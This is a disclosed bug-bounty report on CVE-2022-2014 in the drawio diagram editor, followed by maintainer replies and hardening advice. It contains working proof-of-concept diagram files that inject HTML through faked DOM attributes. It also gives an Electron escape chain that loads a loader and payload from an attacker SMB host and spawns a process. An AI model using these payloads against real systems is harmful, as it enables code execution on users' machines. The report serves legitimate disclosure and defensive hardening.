Client-Side RCE and Stored XSS via Unsafe Deserialization of Diagrams in jgraph/drawio

11

Valid Reported on Jun 6th 2022

Description

The deserialization mechanism of diagram files is based on an XML like structure. When it is read, internal objects are created and properties on those can be set. Furthermore it allows calling any top-level constructor function and cloning of top level XML/HTML nodes.
This has the consequence that an attacker can create serialized diagrams which would not normally be possible. By abusing the deserialization mechanism manipulated objects can be created to bypass specific checks.
In this example I will show how an attacker could achieve code execution through tooltips. The function for generating tooltips looks for `tooltip` attributes on the diagram elements (relevant code).
If such an attribute (or a localized one) exists, the value will be sanitized an used for the tooltip. If a tooltip does not exist, the attributes of the element (of it's XML representation) are collected and shown in the tooltip. Some of those attributes, those which are special, get filtered out. The rest of them is used for generating the tooltip basically as a list of name-value pairs. For this the `nodeName` and `nodeValue` of the parsed XML attribute nodes are used.

```
            for (var i = 0; i < attrs.length; i++)
            {
                if (mxUtils.indexOf(ignored, attrs[i].nodeName) < 0 && attr
                {
                    temp.push({name: attrs[i].nodeName, value: attrs[i].noc
                }
            }

[...]

            for (var i = 0; i < temp.length; i++)
            {
                if (temp[i].name != 'link' || !this.isCustomLink(temp[i].va
```

```
            {
                tip += ((temp[i].name != 'link') ? '<b>' + temp[i].name
                    mxUtils.htmlEntities(temp[i].value) + '\n';

            }
        }

        if (tip.length > 0)
        {
            tip = tip.substring(0, tip.length - 1);

            if (mxClient.IS_SVG)
            {
                tip = '<div style="max-width:360px;text-overflow:ellips
                    tip + '</div>';
            }
        }
```

We can see that the value of the attribute will be sanitized as it might contain dangerous content when inserted into HTML. The name of the attribute is not sanitized, but has to follow the requirements of the XML specification. This would not allow that the attribute names contain dangerous characters under normal conditions.
The deserialization mechanism allows us to fake the DOM node and overcome this character limitation. Initially the tooltip function checks if the value of the diagram element is a (DOM) node.

```
Graph.prototype.getTooltipForCell = function(cell)
{
    var tip = '';

    if (mxUtils.isNode(cell.value))
    {
[...]
```

To pass this check we just need to set the `nodeType` of the object we set as value to a numeric value.

```
    isNode: function(a, b, c, d) {
        return null == a || isNaN(a.nodeType) || null != b && a.nodeName.tc
```

```
    }
```

Then we fake the attributes property by creating an array of objects with the `Array` and `Object` constructors. Those objects simply contain `nodeName` and `nodeValue` properties. The code accepts our fake DOM nodes and now the `nodeName` is not limited any more. We can now use HTML and JavaScript to inject our code.
The relevant XML structure would look like the following:

```
<mxCell id="2" vertex="1" parent="1">
    <mxGeometry x="90" y="340" width="120" height="60" as="geometry" />
    <mxCell id="3" as="value" label="bla" nodeType="1">
        <Array as="attributes">
            <Object nodeName="&lt;img src=x onerror=alert()>" nodeValue="te
        </Array>
    </mxCell>
</mxCell>
```

Proof of Concept

To trigger the exploit in the following examples, the display of the tooltip must be triggered by hovering over the single element in the diagram.

Web application (Stored XSS):

Save the following content as any `.drawio` file and open it in the application:

```
<mxfile>
  <diagram id="aJXvI5cXjnzRwY48kwuR" name="Page-1">
    <mxGraphModel dx="719" dy="712" grid="1" gridSize="10" guides="1" tooli
      <root>
        <mxCell id="0" />
        <mxCell id="1" parent="0">
        </mxCell>
        <mxCell id="2" vertex="1" parent="1">
          <mxGeometry x="90" y="340" width="120" height="60"
          <mxCell id="3" as="value" label="bla" nodeType="1
            <Array as="attributes">
```

```
            <Object nodeName="&lt;img src=x onerror=alert()>" nodeValue='
          </Array>
        </mxCell>

      </mxCell>
    </root>
  </mxGraphModel>
</diagram>
</mxfile>
```

Desktop application (RCE):

The PoC was designed for Windows and needs some minor changes to work on other operating systems.
The desktop app has some additional security features we need to bypass. The first one is a relatively strict CSP.

```
default-src 'self'; connect-src 'self' https://fonts.googleapis.com https:/
```

The application is in the `file://` origin and scripts can only be loaded from `self`. We can bypass this with a SMB server, because it will allow us to load remote content via file protocol. Furthermore this will not cause any problems with the same origin policy later on.
Then we need to escape the isolated Electron context. The previously discovered script gadget (as shown in my first report) does not work any more, because the `writeFile` function now checks the contents (magic bytes) of the file to be written. It only allows a limited set of files.

```
async function writeFile(path, data, enc)
{
    if (!checkFileContent(data, enc))
    {
        throw new Error('Invalid file data');
    }
    else
    {
        return await fsProm.writeFile(path, data, enc);
    }
};
```

While it is possible to write our JavaScript file, the magic byte check needs to be passed. This will cause a syntax error in the script.

However, there is another interesting function that provides a copy primitive for attackers. The `installPlugin` function will take a path and copies the file to the plugin directory. Note: This will actually not install the plugin, but just copies a file to a specific location.

```
async function installPlugin(filePath)
{
    var pluginsDir = path.join(getAppDataFolder(), '/plugins');

    if (!fs.existsSync(pluginsDir))
    {
        fs.mkdirSync(pluginsDir);
    }

    var pluginName = path.basename(filePath);
    var dstFile = path.join(pluginsDir, pluginName);

    if (fs.existsSync(dstFile))
    {
        throw new Error('fileExists');
    }
    else
    {
        await fsProm.copyFile(filePath, dstFile);
    }

    return {pluginName: pluginName, selDir: path.dirname(filePath)};
}
```

In combination with the `getAppDataFolder` we can dynamically get the path where the file will be copied to. Since the copy operation works with remote files located on our SMB server (in the background, without any prompt for the user :)) this is the perfect alternative. There are no file checks, so any file can be downloaded to the victims computer with this mechanism to a known location.

Steps:

Set up a SMB server. In this example, the server is located at `smb-host.tld` , this needs to be

changed to the actual location of the SMB server. Furthermore, the path and the file names need to be adjusted if they differ.
On the SMB server host the following two files.

File 1 (`x.js`):
This is our "loader" file. It will be included by the initial XSS payload and triggers the escape from the isolated context.

```
top.electron.request({action: 'getAppDataFolder'}, (a)=>{
    console.log(a);
    top.electron.request({action: 'installPlugin', filePath: '\\\\smb-host.
        console.log(b);
        top.electron.sendMessage('newfile', {
            width: 100,
            height: 100,
            webPreferences: {
                preload: a +'/plugins/payload.js'
            }
        });
    }, (c)=>{console.log(c)});
}, ()=>{});
```

File 2 (`payload.js`):
This is the final payload that will be executed without restrictions. The typical spawning of the calculator app is used for this example.

```
require('child_process').spawnSync('calc.exe');
```

Then create the following `.drawio` file and open it in the desktop application. Hovering over the diagram element will trigger the payload execution and the `calc.exe` will be executed.

```
<mxfile>
  <diagram id="aJXvI5cXjnzRwY48kwuR" name="Page-1">
    <mxGraphModel dx="719" dy="712" grid="1" gridSize="10" guides="1" tooli
      <root>
        <mxCell id="0" />
        <mxCell id="1" parent="0">
        </mxCell>
        <mxCell id="2" vertex="1" parent="1">
```

```
<mxCell id="2" vertex="1" parent="1">
  <mxGeometry x="90" y="340" width="120" height="60" as="geometry"
  <mxCell id="3" as="value" label="bla" nodeType="1">
    <Array as="attributes">
      <Object nodeName="&lt;iframe srcdoc='&lt;script src=file:\\sm
    </Array>
  </mxCell>
</mxCell>
</root>
</mxGraphModel>
</diagram>
</mxfile>
```

Impact

When a malicious diagram file is opened, remote attackers can inject JavaScript code. Through the use of script gadgets the attack can be upgraded to arbitrary code execution in the desktop application. On the web application attackers are limited to stored XSS, which allows stealing of user secrets.

Occurrences

JS Graph.js L5119-L5207

CVE
CVE-2022-2014
(Published)

Vulnerability Type
CWE-94: Code Injection

Severity
Critical (9.6)

Registry
Other

Affected Version
<= 19.0.1

Visibility
Public

Public

Status
Fixed

Found by

Tobias S. Fink
@7085
legend

This report was seen 1,824 times.

We are processing your report and will contact the **jgraph/drawio** team within 24 hours.
6 months ago

David Benson validated this vulnerability 6 months ago

Tobias S. Fink has been awarded the disclosure bounty ✔

The fix bounty is now up for grabs

The researcher's credibility has increased: +7

David Benson 6 months ago Maintainer

Thanks, we enjoyed this one :). Probably the best example of an attack chain we've had to date.

Not sure the complexity is low, but the outcome is critical regardless, given it's a RCE. That plugin functionality just keeps biting us...

David Benson marked this as fixed in **19.0.2** with commit **3d3f81** 6 months ago

The fix bounty has been dropped ✖

This vulnerability will not receive a CVE ✖

Graph.js#L5119-L5207 has been validated ✔

Tobias S. Fink 6 months ago

Chat with us

Thanks, I worked hard for this :D. The additional hardening measures show their effect and don't

make it easy. I can say I had to change the exploit path several times because of hitting a dead end.

Yes, thats the problem with CVSS, the granularity is not fine enough. In the CVSS rating the attack complexity refers mostly to executing the attack (after the vulnerability was identified), in my understanding. So the description for low "Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success against the vulnerable component." is suitable I think. However, I agree that it would be somewhere in the middle, because of the additional user interaction requirement. In a real exploit the chances of accidentally triggering it could be increased a lot for example by simply sizing the element over the whole diagram.

I also want to provide a few suggestions for additional security measures later. Yesterday it was already late and I just finished work for today, so this will take a bit more time.

Tobias S. Fink 6 months ago Researcher

Regarding the suggestions I promised before:

General:

I think the objects that can be decoded in a diagram file should be validated.
This could be done in the `mxCodec.prototype.decode` function, instead of just checking if the name exists on the `window` object.
The `c = window[a.nodeName]` is actually dangerous, because it allows accessing some objects/constructor functions later on, which might provide gadgets for attackers.
Only a set of known objects should be allowed.

```
mxCodec.prototype.decode = function(a, b) {
    this.updateElements();
    var c = null;
    if (null != a && a.nodeType == mxConstants.NODETYPE_ELEMENT) {
        c = null;
        try {
            c = window[a.nodeName]
        } catch (d) {}
        c = mxCodecRegistry.getCodec(c);
        null != c ? c = c.decode(this, a, b) : (c = a.cloneNode(!0),
        c.removeAttribute("as"))
    }
    return c
}
```

Desktop App:

In the `createWindow` function there are currently a few options that are wrong.

```
function createWindow (opt = {})
{
[...]
    let options = Object.assign(
    {
        frame: isMac,
        backgroundColor: '#FFF',
        width: parseInt(lastWinSize[0]),
        height: parseInt(lastWinSize[1]),
        icon: `${__dirname}/images/drawlogo256.png`,
        webViewTag: false,
        'web-security': true,
        webPreferences: {
            preload: `${__dirname}/electron-preload.js`,
            spellcheck: enableSpellCheck,
            contextIsolation: true,
            disableBlinkFeatures: 'Auxclick' // Is this needed?
        }
    }, opt)

    let mainWindow = new BrowserWindow(options)
[...]
```

The `webViewTag` and `'web-security'` do not exist like this.
What you meant are the `webviewTag` and `webSecurity` options inside the `webPreferences` object.
Maybe this originates from an older Electron version? Anyways this should be corrected.

Furthermore I would strongly recommend that you validate the `opt` parameter.
This would close the vector I used for changing the preload script and create new `BrowserWindow`s with unsafe settings.
I think you should validate any security relevant settings/entries in this object (or its `webPreferences` object) like:

```
- contextIsolation
- nodeIntegration
- nodeIntegrationInWorker
- nodeIntegrationInSubFrames
- preload
- sandbox
- webSecurity
- allowRunningInsecureContent
```

- allowRunningInsecureContent
- webviewTag
- experimentalFeatures
- enableBlinkFeatures

Overwrite them with secure defaults before passing them to the `BrowserWindow` constructor, or strip them from the `opt` object.

Restrict/prevent requests:
Various requests or loading of resources could be validated.
An `onBeforeRequest` -handler could be used to centralize this.
https://www.electronjs.org/docs/latest/api/web-request#webrequestonbeforerequestfilter-listener
Example: https://stackoverflow.com/a/41071998

Alternatively/Additionally the `file://` protocol could be intercepted and those URLs validated/denied:
https://www.electronjs.org/docs/latest/api/protocol#protocolinterceptfileprotocolscheme-handler
This would require some testing if it works as intended, because the documentation about these features is not so good.

Regarding the plugins:
Although the plugin system was not really used here (just the copy function for moving a file):
Unexpected code reuse could be prevented by default by implementing a configuration option which needs to be enabled first, before plugins (and all related functions) can be used.
By default this should be disabled and as long as it is not enabled (manually by a user in the editor), all plugin related functions could just throw an error (if used somehow).
I have seen such functionality in other applications.

Mohamed 6 months ago Maintainer

Hi,

Thanks for your valuable suggestions.

Can you please elaborate on Restrict/prevent requests and interceptFileProtocol?
What restrictions do you suggest?

Thanks

Tobias S. Fink 6 months ago Researcher

With those Electron API functions the loading of resources can be intercepted
can be applied before the actual loading happens.

For example you can completely deny or modify certain requests or validate if a path (or file:// URL) actually is on the local file system.

The handler would get the path or URL to the requested resource.
Initially it is important to decide if you want to handle it as a URL or path (with file:// or without).
Depending on that you need to strip or add the protocol/schema part or take care of the correct API functions used later on.
Then you should resolve it to an absolute path or normalized URL with path.resolve or `new URL()`.
This will prevent any potential traversal attempts.
On the resolved/absolute path you can then check if it starts with `//` or `\\`, in which case it's probably a UNC path that should be rejected.

David Benson gave praise 6 months ago

Many thanks for the detailed follow-up.

The researcher's credibility has slightly increased as a result of the maintainer's thanks: +1

Sign in to join this conversation

terms

privacy policy

Chat with us